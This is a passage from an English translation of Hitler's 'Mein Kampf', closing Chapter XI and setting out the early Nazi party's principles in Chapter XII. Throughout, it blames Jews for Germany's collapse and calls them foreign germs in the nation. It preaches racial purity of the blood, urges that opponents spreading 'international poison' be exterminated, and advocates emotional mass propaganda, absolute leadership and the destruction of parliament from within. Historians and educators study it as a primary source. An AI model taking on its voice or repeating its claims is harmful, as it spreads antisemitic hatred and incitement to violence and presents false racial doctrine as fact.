recognize the +danger that comes from allowing a foreign race to exist within the +national body. + +That is why all attempts at reform, all institutions for social relief, +all political striving, all economic progress and all apparent increase +in the general stock of knowledge, were doomed to be unproductive of any +significant results. The nation, as well as the organization which +enables it to exist--namely, the State--were not developing in inner +strength and stability, but, on the contrary, were visibly losing their +vitality. The false brilliance of the Second Empire could not disguise +the inner weakness. And every attempt to invigorate it anew failed +because the main and most important problem was left out of +consideration. + +It would be a mistake to think that the followers of the various +political parties which tried to doctor the condition of the German +people, or even all their leaders, were bad in themselves or meant +wrong. Their activity even at best was doomed to fail, merely because of +the fact that they saw nothing but the symptoms of our general malady +and they tried to doctor the symptoms while they overlooked the real +cause of the disease. If one makes a methodical study of the lines along +which the old Empire developed one cannot help seeing, after a careful +political analysis, that a process of inner degeneration had already set +in even at the time when the united Empire was formed and the German +nation began to make rapid external progress. The general situation was +declining, in spite of the apparent political success and in spite of +the increasing economic wealth. At the elections to the Reichstag the +growing number of Marxist votes indicated that the internal breakdown +and the political collapse were then rapidly approaching. All the +victories of the so-called bourgeois parties were fruitless, not only +because they could not prevent the numerical increase in the growing +mass of Marxist votes, even when the bourgeois parties triumphed at the +polls, but mainly because they themselves were already infected with the +germs of decay. Though quite unaware of it, the bourgeois world was +infected from within with the deadly virus of Marxist ideas. The fact +that they sometimes openly resisted was to be explained by the +competitive strife among ambitious political leaders, rather than by +attributing it to any opposition in principle between adversaries who +were determined to fight one another to the bitter end. During all those +years only one protagonist was fighting with steadfast perseverance. +This was the Jew. The Star of David steadily ascended as the will to +national self-preservation declined. + +Therefore it was not a solid national phalanx that, of itself and out of +its own feeling of solidarity, rushed to the battlefields in August +1914. But it was rather the manifestation of the last flicker from the +instinct of national self-preservation against the progress of the +paralysis with which the pacifist and Marxist doctrine threatened our +people. Even in those days when the destinies of the nation were in the +balance the internal enemy was not recognized; therefore all efforts to +resist the external enemy were bound to be in vain. Providence did not +grant the reward to the victorious sword, but followed the eternal law +of retributive justice. A profound recognition of all this was the +source of those principles and tendencies which inspire our new +movement. We were convinced that only by recognizing such truths could +we stop the national decline in Germany and lay a granite foundation on +which the State could again be built up, a State which would not be a +piece of mechanism alien to our people, constituted for economic +purposes and interests, but an organism created from the soul of the +people themselves. + +A GERMAN STATE IN A GERMAN NATION + + + + +CHAPTER XII + + + +THE FIRST STAGE IN THE DEVELOPMENT OF THE GERMAN +NATIONAL SOCIALIST LABOUR PARTY + + +Here at the close of the volume I shall describe the first stage in the +progress of our movement and shall give a brief account of the problems +we had to deal with during that period. In doing this I have no +intention of expounding the ideals which we have set up as the goal of +our movement; for these ideals are so momentous in their significance +that an exposition of them will need a whole volume. Therefore I shall +devote the second volume of this book to a detailed survey of the +principles which form the programme of our movement and I shall attempt +to draw a picture of what we mean by the word 'State'. When I say 'we' +in this connection I mean to include all those hundreds of thousands who +have fundamentally the same longing, though in the individual cases they +cannot find adequate words to describe the vision that hovers before +their eyes. It is a characteristic feature of all great reforms that in +the beginning there is only one single protagonist to come forward on +behalf of several millions of people. The final goal of a great +reformation has often been the object of profound longing on the parts +of hundreds of thousands for many centuries before, until finally one +among them comes forward as a herald to announce the will of that +multitude and become the standard-bearer of the old yearning, which he +now leads to a realization in a new idea. + +The fact that millions of our people yearn at heart for a radical change +in our present conditions is proved by the profound discontent which +exists among them. This feeling is manifested in a thousand ways. Some +express it in a form of discouragement and despair. Others show it in +resentment and anger and indignation. Among some the profound discontent +calls forth an attitude of indifference, while it urges others to +violent manifestations of wrath. Another indication of this feeling may +be seen on the one hand in the attitude of those who abstain from voting +at elections and, on the other, in the large numbers of those who side +with the fanatical extremists of the left wing. + +To these latter people our young movement had to appeal first of all. It +was not meant to be an organization for contented and satisfied people, +but was meant to gather in all those who were suffering from profound +anxiety and could find no peace, those who were unhappy and +discontented. It was not meant to float on the surface of the nation but +rather to push its roots deep among the masses. + +Looked at from the purely political point of view, the situation in 1918 +was as follows: A nation had been torn into two parts. One part, which +was by far the smaller of the two, contained the intellectual classes of +the nation from which all those employed in physical labour were +excluded. On the surface these intellectual classes appeared to be +national-minded, but that word meant nothing else to them except a very +vague and feeble concept of the duty to defend what they called the +interests of the State, which in turn seemed identical with those of the +dynastic regime. This class tried to defend its ideas and reach its aims +by carrying on the fight with the aid of intellectual weapons, which +could be used only here and there and which had only a superficial +effect against the brutal measures employed by the adversaries, in the +face of which the intellectual weapons were of their very nature bound +to fail. With one violent blow the class which had hitherto governed was +now struck down. It trembled with fear and accepted every humiliation +imposed on it by the merciless victor. + +Over against this class stood the broad masses of manual labourers who +were organized in movements with a more or less radically Marxist +tendency. These organized masses were firmly determined to break any +kind of intellectual resistance by the use of brute force. They had no +nationalist tendencies whatsoever and deliberately repudiated the idea +of advancing the interests of the nation as such. On the contrary, they +promoted the interests of the foreign oppressor. Numerically this class +embraced the majority of the population and, what is more important, +included all those elements of the nation without whose collaboration a +national resurgence was not only a practical impossibility but was even +inconceivable. + +For already in 1918 one thing had to be clearly recognized; namely, that +no resurgence of the German nation could take place until we had first +restored our national strength to face the outside world. For this +purpose arms are not the preliminary necessity, though our bourgeois +'statesmen' always blathered about it being so; what was wanted was +will-power. At one time the German people had more than sufficient +military armament. And yet they were not able to defend their liberty +because they lacked those energies which spring from the instinct of +national self-preservation and the will to hold on to one's own. The +best armament is only dead and worthless material as long as the spirit +is wanting which makes men willing and determined to avail themselves of +such weapons. Germany was rendered defenceless not because she lacked +arms, but because she lacked the will to keep her arms for the +maintenance of her people. + +To-day our Left-wing politicians in particular are constantly insisting +that their craven-hearted and obsequious foreign policy necessarily +results from the disarmament of Germany, whereas the truth is that this +is the policy of traitors. To all that kind of talk the answer ought to +be: No, the contrary is the truth. Your action in delivering up the arms +was dictated by your anti-national and criminal policy of abandoning the +interests of the nation. And now you try to make people believe that +your miserable whining is fundamentally due to the fact that you have no +arms. Just like everything else in your conduct, this is a lie and a +falsification of the true reason. + +But the politicians of the Right deserve exactly the same reproach. It +was through their miserable cowardice that those ruffians of Jews who +came into power in 1918 were able to rob the nation of its arms. The +conservative politicians have neither right nor reason on their side +when they appeal to disarmament as the cause which compelled them to +adopt a policy of prudence (that is to say, cowardice). Here, again, the +contrary is the truth. Disarmament is the result of their lack of +spirit. + +Therefore the problem of restoring Germany's power is not a question of +how can we manufacture arms but rather a question of how we can produce +that spirit which enables a people to bear arms. Once this spirit +prevails among a people then it will find a thousand ways, each of which +leads to the necessary armament. But a coward will not fire even a +single shot when attacked though he may be armed with ten pistols. For +him they are of less value than a blackthorn in the hands of a man of +courage. + +The problem of re-establishing the political power of our nation is +first of all a problem of restoring the instinct of national +self-preservation for if no other reason than that every preparatory +step in foreign policy and every foreign judgment on the worth of a +State has been proved by experience to be grounded not on the material +size of the armament such a State may possess but rather on the moral +capacity for resistance which such a State has or is believed to have. +The question whether or not a nation be desirable as an ally is not so +much determined by the inert mass of arms which it has at hand but by +the obvious presence of a sturdy will to national self-preservation and +a heroic courage which will fight through to the last breath. For an +alliance is not made between arms but between men. + +The British nation will therefore be considered as the most valuable +ally in the world as long as it can be counted upon to show that +brutality and tenacity in its government, as well as in the spirit of +the broad masses, which enables it to carry through to victory any +struggle that it once enters upon, no matter how long such a struggle +may last, or however great the sacrifice that may be necessary or +whatever the means that have to be employed; and all this even though +the actual military equipment at hand may be utterly inadequate when +compared with that of other nations. + +Once it is understood that the restoration of Germany is a question of +reawakening the will to political self-preservation we shall see quite +clearly that it will not be enough to win over those elements that are +already national-minded but that the deliberately anti-national masses +must be converted to believe in the national ideals. + +A young movement that aims at re-establishing a German State with full +sovereign powers will therefore have to make the task of winning over +the broad masses a special objective of its plan of campaign. Our +so-called 'national bourgeoisie' are so lamentably supine, generally +speaking, and their national spirit appears so feckless, that we may +feel sure they will offer no serious resistance against a vigorous +national foreign--or domestic policy. Even though the narrow-minded +German bourgeoisie should keep up a passive resistance when the hour of +deliverance is at hand, as they did in Bismarck's time, we shall never +have to fear any active resistance on their part, because of their +recognized proverbial cowardice. + +It is quite different with the masses of our population, who are imbued +with ideas of internationalism. Through the primitive roughness of their +natures they are disposed to accept the preaching of violence, while at +the same time their Jewish leaders are more brutal and ruthless. They +will crush any attempt at a German revival, just as they smashed the +German Army by striking at it from the rear. Above all, these organized +masses will use their numerical majority in this Parliamentarian State +not only to hinder any national foreign policy, but also to prevent +Germany from restoring her political power and therewith her prestige +abroad. Thus she becomes excluded from the ranks of desirable allies. +For it is not we ourselves alone who are aware of the handicap that +results from the existence of fifteen million Marxists, democrats, +pacifists and followers of the Centre, in our midst, but foreign nations +also recognize this internal burden which we have to bear and take it +into their calculations when estimating the value of a possible alliance +with us. Nobody would wish to form an alliance with a State where the +active portion of the population is at least passively opposed to any +resolute foreign policy. + +The situation is made still worse by reason of the fact that the leaders +of those parties which were responsible for the national betrayal are +ready to oppose any and every attempt at a revival, simply because they +want to retain the positions they now hold. According to the laws that +govern human history it is inconceivable that the German people could +resume the place they formerly held without retaliating on those who +were both cause and occasion of the collapse that involved the ruin of +our State. Before the judgment seat of posterity November 1918 will not +be regarded as a simple rebellion but as high treason against the +country. + +Therefore it is not possible to think of re-establishing German +sovereignty and political independence without at the same time +reconstructing a united front within the nation, by a peaceful +conversion of the popular will. + +Looked at from the standpoint of practical ways and means, it seems +absurd to think of liberating Germany from foreign bondage as long as +the masses of the people are not willing to support such an ideal of +freedom. After carefully considering this problem from the purely +military point of view, everybody, and in particular every officer, will +agree that a war cannot be waged against an outside enemy by battalions +of students; but that, together with the brains of the nation, the +physical strength of the nation is also necessary. Furthermore it must +be remembered that the nation would be robbed of its irreplaceable +assets by a national defence in which only the intellectual circles, as +they are called, were engaged. The young German intellectuals who joined +the volunteer regiments and fell on the battlefields of Flanders in the +autumn of 1914 were bitterly missed later on. They were the dearest +treasure which the nation possessed and their loss could not be made +good in the course of the war. And it is not only the struggle itself +which could not be waged if the working masses of the nation did not +join the storm battalions, but the necessary technical preparations +could not be made without a unified will and a common front within the +nation itself. Our nation which has to exist disarmed, under the +thousand eyes appointed by the Versailles Peace Treaty, cannot make any +technical preparations for the recovery of its freedom and human +independence until the whole army of spies employed within the country +is cut down to those few whose inborn baseness would lead them to betray +anything and everything for the proverbial thirty pieces of silver. But +we can deal with such people. The millions, however, who are opposed to +every kind of national revival simply because of their political +opinions, constitute an insurmountable obstacle. At least the obstacle +will remain insurmountable as long as the cause of their opposition, +which is international Marxism, is not overcome and its teachings +banished from both their hearts and heads. + +From whatever point of view we may examine the possibility of recovering +our independence as a State and a people, whether we consider the +problem from the standpoint of technical rearmament or from that of the +actual struggle itself, the necessary pre-requisite always remains the +same. This pre-requisite is that the broad masses of the people must +first be won over to accept the principle of our national independence. + +If we do not regain our external freedom every step forward in domestic +reform will at best be an augmentation of our productive powers for the +benefit of those nations that look upon us as a colony to be exploited. +The surplus produced by any so-called improvement would only go into the +hands of our international controllers and any social betterment would +at best increase the product of our labour in favour of those people. No +cultural progress can be made by the German nation, because such +progress is too much bound up with the political independence and +dignity of a people. + +Therefore, as we can find a satisfactory solution for the problem of +Germany's future only by winning over the broad masses of our people for +the support of the national idea, this work of education must be +considered the highest and most important task to be accomplished by a +movement which does not strive merely to satisfy the needs of the moment +but considers itself bound to examine in the light of future results +everything it decides to do or refrain from doing. + +As early as 1919 we were convinced that the nationalization of the +masses would have to constitute the first and paramount aim of the new +movement. From the tactical standpoint, this decision laid a certain +number of obligations on our shoulders. + +(1) No social sacrifice could be considered too great in this effort to +win over the masses for the national revival. + +In the field of national economics, whatever concessions are granted +to-day to the employees are negligible when compared with the benefit to +be reaped by the whole nation if such concessions contribute to bring +back the masses of the people once more to the bosom of their own +nation. Nothing but meanness and shortsightedness, which are +characteristics that unfortunately are only too prevalent among our +employers, could prevent people from recognizing that in the long run no +economic improvement and therefore no rise in profits are possible +unless internal solidarity be restored among the bulk of the people who +make up our nation. + +If the German trades unions had defended the interests of the +working-classes uncompromisingly during the War; if even during the War +they had used the weapon of the strike to force the industrialists--who +were greedy for higher dividends--to grant the demands of the workers +for whom the unions acted; if at the same time they had stood up as good +Germans for the defence of the nation as stoutly as for their own +claims, and if they had given to their country what was their country's +due--then the War would never have been lost. How ludicrously +insignificant would all, and even the greatest, economic concession have +been in face of the tremendous importance of such a victory. + +For a movement which would restore the German worker to the German +people it is therefore absolutely necessary to understand clearly that +economic sacrifices must be considered light in such cases, provided of +course that they do not go the length of endangering the independence +and stability of the national economic system. + +(2) The education of the masses along national lines can be carried out +only indirectly, by improving their social conditions; for only by such +a process can the economic conditions be created which enable everybody +to share in the cultural life of the nation. + +(3) The nationalization of the broad masses can never be achieved by +half-measures--that is to say, by feebly insisting on what is called the +objective side of the question--but only by a ruthless and devoted +insistence on the one aim which must be achieved. This means that a +people cannot be made 'national' according to the signification attached +to that word by our bourgeois class to-day--that is to say, nationalism +with many reservations--but national in the vehement and extreme sense. +Poison can be overcome only by a counter-poison, and only the supine +bourgeois mind could think that the Kingdom of Heaven can be attained by +a compromise. + +The broad masses of a nation are not made up of professors and +diplomats. Since these masses have only a poor acquaintance with +abstract ideas, their reactions lie more in the domain of the feelings, +where the roots of their positive as well as their negative attitudes +are implanted. They are susceptible only to a manifestation of strength +which comes definitely either from the positive or negative side, but +they are never susceptible to any half-hearted attitude that wavers +between one pole and the other. The emotional grounds of their attitude +furnish the reason for their extraordinary stability. It is always more +difficult to fight successfully against Faith than against knowledge. +Love is less subject to change than respect. Hatred is more lasting than +mere aversion. And the driving force which has brought about the most +tremendous revolutions on this earth has never been a body of scientific +teaching which has gained power over the masses, but always a devotion +which has inspired them, and often a kind of hysteria which has urged +them to action. + +Whoever wishes to win over the masses must know the key that will open +the door to their hearts. It is not objectivity, which is a feckless +attitude, but a determined will, backed up by force, when necessary. + +(4) The soul of the masses can be won only if those who lead the +movement for that purpose are determined not merely to carry through the +positive struggle for their own aims but are also determined to destroy +the enemy that opposes them. + +When they see an uncompromising onslaught against an adversary the +people have at all times taken this as a proof that right is on the side +of the active aggressor; but if the aggressor should go only half-way +and fail to push home his success by driving his opponent entirely from +the scene of action, the people will look upon this as a sign that the +aggressor is uncertain of the justice of his own cause and his half-way +policy may even be an acknowledgment that his cause is unjust. + +The masses are but a part of Nature herself. Their feeling is such that +they cannot understand mutual hand-shakings between men who are declared +enemies. Their wish is to see the stronger side win and the weaker wiped +out or subjected unconditionally to the will of the stronger. + +The nationalization of the masses can be successfully achieved only if, +in the positive struggle to win the soul of the people, those who spread +the international poison among them are exterminated. + +(5) All the great problems of our time are problems of the moment and +are only the results of certain definite causes. And among all those +there is only one that has a profoundly causal significance. This is the +problem of preserving the pure racial stock among the people. Human +vigour or decline depends on the blood. Nations that are not aware of +the importance of their racial stock, or which neglect to preserve it, +are like men who would try to educate the pug-dog to do the work of the +greyhound, not understanding that neither the speed of the greyhound nor +the imitative faculties of the poodle are inborn qualities which cannot +be drilled into the one or the other by any form of training. A people +that fails to preserve the purity of its racial blood thereby destroys +the unity of the soul of the nation in all its manifestations. A +disintegrated national character is the inevitable consequence of a +process of disintegration in the blood. And the change which takes place +in the spiritual and creative faculties of a people is only an effect of +the change that has modified its racial substance. + +If we are to free the German people from all those failings and ways of +acting which do not spring from their original character, we must first +get rid of those foreign germs in the national body which are the cause +of its failings and false ways. + +The German nation will never revive unless the racial problem is taken +into account and dealt with. The racial problem furnishes the key not +only to the understanding of human history but also to the understanding +of every kind of human culture. + +(6) By incorporating in the national community the masses of our people +who are now in the international camp we do not thereby mean to renounce +the principle that the interests of the various trades and professions +must be safeguarded. Divergent interests in the various branches of +labour and in the trades and professions are not the same as a division +between the various classes, but rather a feature inherent in the +economic situation. Vocational grouping does not clash in the least with +the idea of a national community, for this means national unity in +regard to all those problems that affect the life of the nation as such. + +To incorporate in the national community, or simply the State, a stratum +of the people which has now formed a social class the standing of the +higher classes must not be lowered but that of the lower classes must be +raised. The class which carries through this process is never the higher +class but rather the lower one which is fighting for equality of rights. +The bourgeoisie of to-day was not incorporated in the State through +measures enacted by the feudal nobility but only through its own energy +and a leadership that had sprung from its own ranks. + +The German worker cannot be raised from his present standing and +incorporated in the German folk-community by means of goody-goody +meetings where people talk about the brotherhood of the people, but +rather by a systematic improvement in the social and cultural life of +the worker until the yawning abyss between him and the other classes can +be filled in. A movement which has this for its aim must try to recruit +its followers mainly from the ranks of the working class. It must +include members of the intellectual classes only in so far as such +members have rightly understood and accepted without reserve the ideal +towards which the movement is striving. This process of transformation +and reunion cannot be completed within ten or twenty years. It will take +several generations, as the history of such movements has shown. + +The most difficult obstacle to the reunion of our contemporary worker in +the national folk-community does not consist so much in the fact that he +fights for the interests of his fellow-workers, but rather in the +international ideas with which he is imbued and which are of their +nature at variance with the ideas of nationhood and fatherland. This +hostile attitude to nation and fatherland has been inculcated by the +leaders of the working class. If they were inspired by the principle of +devotion to the nation in all that concerns its political and social +welfare, the trades unions would make those millions of workers most +valuable members of the national community, without thereby affecting +their own constant struggle for their economic demands. + +A movement which sincerely endeavours to bring the German worker back +into his folk-community, and rescue him from the folly of +internationalism, must wage a vigorous campaign against certain notions +that are prevalent among the industrialists. One of these notions is +that according to the concept of the folk-community, the employee is +obliged to surrender all his economic rights to the employer and, +further, that the workers would come into conflict with the +folk-community if they should attempt to defend their own just and vital +interests. Those who try to propagate such a notion are deliberate +liars. The idea of a folk-community does not impose any obligations on +the one side that are not imposed on the other. + +A worker certainly does something which is contrary to the spirit of +folk-community if he acts entirely on his own initiative and puts +forward exaggerated demands without taking the common good into +consideration or the maintenance of the national economic structure. But +an industrialist also acts against the spirit of the folk-community if +he adopts inhuman methods of exploitation and misuses the working forces +of the nation to make millions unjustly for himself from the sweat of +the workers. He has no right to call himself 'national' and no right to +talk of a folk-community, for he is only an unscrupulous egoist who sows +the seeds of social discontent and provokes a spirit of conflict which +sooner or later must be injurious to the interests of the country. + +The reservoir from which the young movement has to draw its members will +first of all be the working masses. Those masses must be delivered from +the clutches of the international mania. Their social distress must be +eliminated. They must be raised above their present cultural level, +which is deplorable, and transformed into a resolute and valuable factor +in the folk-community, inspired by national ideas and national +sentiment. + +If among those intellectual circles that are nationalist in their +outlook men can be found who genuinely love the people and look forward +eagerly to the future of Germany, and at the same time have a sound +grasp of the importance of a struggle whose aim is to win over the soul +of the masses, such men are cordially welcomed in the ranks of our +movement, because they can serve as a valuable intellectual force in the +work that has to be done. But this movement can never aim at recruiting +its membership from the unthinking herd of bourgeois voters. If it did +so the movement would be burdened with a mass of people whose whole +mentality would only help to paralyse the effort of our campaign to win +the mass of the people. In theory it may be very fine to say that the +broad masses ought to be influenced by a combined leadership of the +upper and lower social strata within the framework of the one movement; +but, notwithstanding all this, the fact remains that though it may be +possible to exercise a psychological influence on the bourgeois classes +and to arouse some enthusiasm or even awaken some understanding among +them by our public demonstrations, their traditional characteristics +cannot be changed. In other words, we could not eliminate from the +bourgeois classes the inefficiency and supineness which are part of a +tradition that has developed through centuries. The difference between +the cultural levels of the two groups and between their respective +attitudes towards social-economic questions is still so great that it +would turn out a hindrance to the movement the moment the first +enthusiasm aroused by our demonstrations calmed down. + +Finally, it is not part of our programme to transform the nationalist +camp itself, but rather to win over those who are anti-national in their +outlook. It is from this viewpoint that the strategy of the whole +movement must finally be decided. + +(7) This one-sided but accordingly clear and definite attitude must be +manifested in the propaganda of the movement; and, on the other hand, +this is absolutely necessary to make the propaganda itself effective. + +If propaganda is to be of service to the movement it must be addressed +to one side alone; for if it should vary the direction of its appeal it +will not be understood in the one camp or may be rejected by the other, +as merely insisting on obvious and uninteresting truisms; for the +intellectual training of the two camps that come into question here has +been very different. + +Even the manner in which something is presented and the tone in which +particular details are emphasized cannot have the same effect in those +two strata that belong respectively to the opposite extremes of the +social structure. If the propaganda should refrain from using primitive +forms of expression it will not appeal to the sentiments of the masses. +If, on the other hand, it conforms to the crude sentiments of the masses +in its words and gestures the intellectual circles will be averse to it +because of its roughness and vulgarity. Among a hundred men who call +themselves orators there are scarcely ten who are capable of speaking +with effect before an audience of street-sweepers, locksmiths and +navvies, etc., to-day and expound the same subject with equal effect +to-morrow before an audience of university professors and students. +Among a thousand public speakers there may be only one who can speak +before a composite audience of locksmiths and professors in the same +hall in such a way that his statements can be fully comprehended by each +group while at the same time he effectively influences both and awakens +enthusiasm, on the one side as well as on the other, to hearty applause. +But it must be remembered that in most cases even the most beautiful +idea embodied in a sublime theory can be brought home to the public only +through the medium of smaller minds. The thing that matters here is not +the vision of the man of genius who created the great idea but rather +the success which his apostles achieve in shaping the expression of this +idea so as to bring it home to the minds of the masses. + +Social-Democracy and the whole Marxist movement were particularly +qualified to attract the great masses of the nation, because of the +uniformity of the public to which they addressed their appeal. The more +limited and narrow their ideas and arguments, the easier it was for the +masses to grasp and assimilate them; for those ideas and arguments were +well adapted to a low level of intelligence. + +These considerations led the new movement to adopt a clear and simple +line of policy, which was as follows: + +In its message as well as in its forms of expression the propaganda must +be kept on a level with the intelligence of the masses, and its value +must be measured only by the actual success it achieves. + +At a public meeting where the great masses are gathered together the +best speaker is not he whose way of approaching a subject is most akin +to the spirit of those intellectuals who may happen to be present, but +the speaker who knows how to win the hearts of the masses. + +An educated man who is present and who finds fault with an address +because he considers it to be on an intellectual plane that is too low, +though he himself has witnessed its effect on the lower intellectual +groups whose adherence has to be won, only shows himself completely +incapable of rightly judging the situation and therewith proves that he +can be of no use in the new movement. Only intellectuals can be of use +to a movement who understand its mission and its aims so well that they +have learned to judge our methods of propaganda exclusively by the +success obtained and never by the impression which those methods made on +the intellectuals themselves. For our propaganda is not meant to serve +as an entertainment for those people who already have a nationalist +outlook, but its purpose is to win the adhesion of those who have +hitherto been hostile to national ideas and who are nevertheless of our +own blood and race. + +In general, those considerations of which I have given a brief summary +in the chapter on 'War Propaganda' became the guiding rules and +principles which determined the kind of propaganda we were to adopt in +our campaign and the manner in which we were to put it into practice. +The success that has been obtained proves that our decision was right. + +(8) The ends which any political reform movement sets out to attain can +never be reached by trying to educate the public or influence those in +power but only by getting political power into its hands. Every idea +that is meant to move the world has not only the right but also the +obligation of securing control of those means which will enable the idea +to be carried into effect. In this world success is the only rule of +judgment whereby we can decide whether such an undertaking was right or +wrong. And by the word 'success' in this connection I do not mean such a +success as the mere conquest of power in 1918 but the successful issue +whereby the common interests of the nation have been served. A COUP +D'ETAT cannot be considered successful if, as many empty-headed +government lawyers in Germany now believe, the revolutionaries succeeded +in getting control of the State into their hands but only if, in +comparison with the state of affairs under the old regime, the lot of +the nation has been improved when the aims and intentions on which the +revolution was based have been put into practice. This certainly does +not apply to the German Revolution, as that movement was called, which +brought a gang of bandits into power in the autumn of 1918. + +But if the conquest of political power be a requisite preliminary for +the practical realization of the ideals that inspire a reform movement, +then any movement which aims at reform must, from the very first day of +its activity, be considered by its leaders as a movement of the masses +and not as a literary tea club or an association of philistines who meet +to play ninepins. + +(9) The nature and internal organization of the new movement make it +anti-parliamentarian. That is to say, it rejects in general and in its +own structure all those principles according to which decisions are to +be taken on the vote of the majority and according to which the leader +is only the executor of the will and opinion of others. The movement +lays down the principle that, in the smallest as well as in the greatest +problems, one person must have absolute authority and bear all +responsibility. + +In our movement the practical consequences of this principle are the +following: + +The president of a large group is appointed by the head of the group +immediately above his in authority. He is then the responsible leader of +his group. All the committees are subject to his authority and not he to +theirs. There is no such thing as committees that vote but only +committees that work. This work is allotted by the responsible leader, +who is the president of the group. The same principle applies to the +higher organizations--the Bezirk (district), the KREIS (urban circuit) +and the GAU (the region). In each case the president is appointed from +above and is invested with full authority and executive power. Only the +leader of the whole party is elected at the general meeting of the +members. But he is the sole leader of the movement. All the committees +are responsible to him, but he is not responsible to the committees. His +decision is final, but he bears the whole responsibility of it. The +members of the movement are entitled to call him to account by means of +a new election, or to remove him from office if he has violated the +principles of the movement or has not served its interests adequately. +He is then replaced by a more capable man. who is invested with the same +authority and obliged to bear the same responsibility. + +One of the highest duties of the movement is to make this principle +imperative not only within its own ranks but also for the whole State. + +The man who becomes leader is invested with the highest and unlimited +authority, but he also has to bear the last and gravest responsibility. + +The man who has not the courage to shoulder responsibility for his +actions is not fitted to be a leader. Only a man of heroic mould can +have the vocation for such a task. + +Human progress and human cultures are not founded by the multitude. They +are exclusively the work of personal genius and personal efficiency. + +Because of this principle, our movement must necessarily be +anti-parliamentarian, and if it takes part in the parliamentary +institution it is only for the purpose of destroying this institution +from within; in other words, we wish to do away with an institution +which we must look upon as one of the gravest symptoms of human decline. + +(10) The movement steadfastly refuses to take up any stand in regard to +those problems which are either outside of its sphere of political work +or seem to have no fundamental importance for us. It does not aim at +bringing about a religious reformation, but rather a political +reorganization of our people. It looks upon the two religious +denominations as equally valuable mainstays for the existence of our +people, and therefore it makes war on all those parties which would +degrade this foundation, on which the religious and moral stability of +our people is based, to an instrument in the service of party interests. + +Finally, the movement does not aim at establishing any one form of State +or trying to destroy another, but rather to make those fundamental +principles prevail without which no republic and no monarchy can exist +for any length of time. The movement does not consider its mission to be +the establishment of a monarchy or the preservation of the Republic but +rather to create a German State. + +The problem concerning the outer form of this State, that is to say, its +final shape, is not of fundamental importance. It is a problem which +must be solved in the light of what seems practical and opportune at the +moment. + +Once a nation has understood and appreciated the great problems that +affect its inner existence, the question of outer formalities will never +lead to any internal conflict. + +(11) The problem of the inner organization of the movement is not one of +principle but of expediency. + +The best kind of organization is not that which places a large +intermediary apparatus between the leadership of the movement and the +individual followers but rather that which works successfully with the +smallest possible intermediary apparatus. For it is the task of such an +organization to transmit a certain idea which originated in the brain of +one individual to a multitude of people and to supervise the manner in +which this idea is being put into practice. + +Therefore, from any and every viewpoint, the organization is only a +necessary evil. At best it is only a means of reaching certain ends. The +worst happens when it becomes an end in itself. + +Since the world produces more mechanical than intelligent beings, it +will always be easier to develop the form of an organization than its +substance; that is to say, the ideas which it is meant to serve. + +The march of any idea which strives towards practical fulfilment, and in +particular those ideas which are of a reformatory character, may be +roughly sketched as follows: + +A creative idea takes shape in the mind of somebody who thereupon feels +himself called upon to transmit this idea to the world. He propounds his +faith before others and thereby gradually wins a certain number of +followers. This direct and personal way of promulgating one's ideas +among one's contemporaries is the most natural and the most ideal. But +as the movement develops and secures a large number of followers it +gradually becomes impossible for the original founder of the doctrine on +which the movement is based to carry on his propaganda personally among +his innumerable followers and at the same time guide the course of the +movement. + +According as the community of followers increases, direct communication +between the head and the individual followers becomes impossible. This +intercourse must then take place through an intermediary apparatus +introduced into the framework of the movement. Thus ideal conditions of +inter-communication cease, and organization has to be introduced as a +necessary evil. Small subsidiary groups come into existence, as in the +political movement, for example, where the local groups represent the +germ-cells out of which the organization develops later on. + +But such sub-divisions must not be introduced into the movement until +the authority of the spiritual founder and of the school he has created +are accepted without reservation. Otherwise the movement would run the +risk of becoming split up by divergent doctrines. In this connection too +much emphasis cannot be laid on the importance of having one geographic +centre as the chief seat of the movement. Only the existence of such a +seat or centre, around which a magic charm such as that of Mecca or Rome +is woven, can supply a movement with that permanent driving force which +has its sources in the internal unity of the movement and the +recognition of one head as representing this unity. + +When the first germinal cells of the organization are being formed care +must always be taken to insist on the importance of the place where the +idea originated. The creative, moral and practical greatness of the +place whence the movement went forth and from which it is governed must +be exalted to a supreme symbol, and this must be honoured all the more +according as the original cells of the movement become so numerous that +they have to be regrouped into larger units in the structure of the +organization. + +When the number of individual followers became so large that direct +personal contact with the head of the movement was out of the question, +then we had to form those first local groups. As those groups multiplied +to an extraordinary number it was necessary to establish higher cadres +into which the local groups were distributed. Examples of such cadres in +the political organization are those of the region (GAU) and the +district (BEZIRK). + +Though it may be easy enough to maintain the original central authority +over the lowest groups, it is much more difficult to do so in relation +to the higher units of organization which have now developed. And yet we +must succeed in doing this, for this is an indispensable condition if +the unity of the movement is to be guaranteed and the idea of it carried +into effect. + +Finally, when those larger intermediary organizations have to be +combined in new and still higher units it becomes increasingly difficult +to maintain over them the absolute supremacy of the original seat of the +movement and the school attached to it. + +Consequently the mechanical forms of an organization must only be +introduced if and in so far as the spiritual authority and the ideals of +the central seat of the organization are shown to be firmly established. +In the political sphere it may often happen that this supremacy can be +maintained only when the movement has taken over supreme political +control of the nation. + +Having taken all these considerations into account, the following +principles were laid down for the inner structure of the movement: + +(a) That at the beginning all activity should be concentrated in one +town: namely, Munich. That a band of absolutely reliable followers +should be trained and a school founded which would subsequently help to +propagate the idea of the movement. That the prestige of the movement, +for the sake of its subsequent extension, should first be established +here through gaining as many successful and visible results as possible +in this one place. To secure name and fame for the movement and its +leader it was necessary, not only to give in this one town a striking +example to shatter the belief that the Marxist doctrine was invincible +but also to show that a counter-doctrine was possible. + +(b) That local groups should not be established before the supremacy of +the central authority in Munich was definitely established and +acknowledged. + +(c) That District, Regional, and Provincial groups should be formed only +after the need for them has become evident and only after the supremacy +of the central authority has been satisfactorily guaranteed. + +Further, that the creation of subordinate organisms must depend on +whether or not those persons can be found who are qualified to undertake +the leadership of them. + +Here there were only two solutions: + +(a) That the movement should acquire the necessary funds to attract and +train intelligent people who would be capable of becoming leaders. The +personnel thus obtained could then be systematically employed according +as the tactical situation and the necessity for efficiency demanded. + +This solution was the easier and the more expedite. But it demanded +large financial resources; for this group of leaders could work in the +movement only if they could be paid a salary. + +(b) Because the movement is not in a position to employ paid officials +it must begin by depending on honorary helpers. Naturally this solution +is slower and more difficult. + +It means that the leaders of the movement have to allow vast territories +to lie fallow unless in these respective districts one of the members +comes forward who is capable and willing to place himself at the service +of the central authority for the purpose of organizing and directing the +movement in the region concerned. + +It may happen that in extensive regions no such leader can be found, but +that at the same time in other regions two or three or even more persons +appear whose capabilities are almost on a level. The difficulty which +this situation involves is very great and can be overcome only with the +passing of the years. + +For the establishment of any branch of the organization the decisive +condition must always be that a person can be found who is capable of +fulfilling the functions of a leader. + +Just as the army and all its various units of organization are useless +if there are no officers, so any political organization is worthless if +it has not the right kind of leaders. + 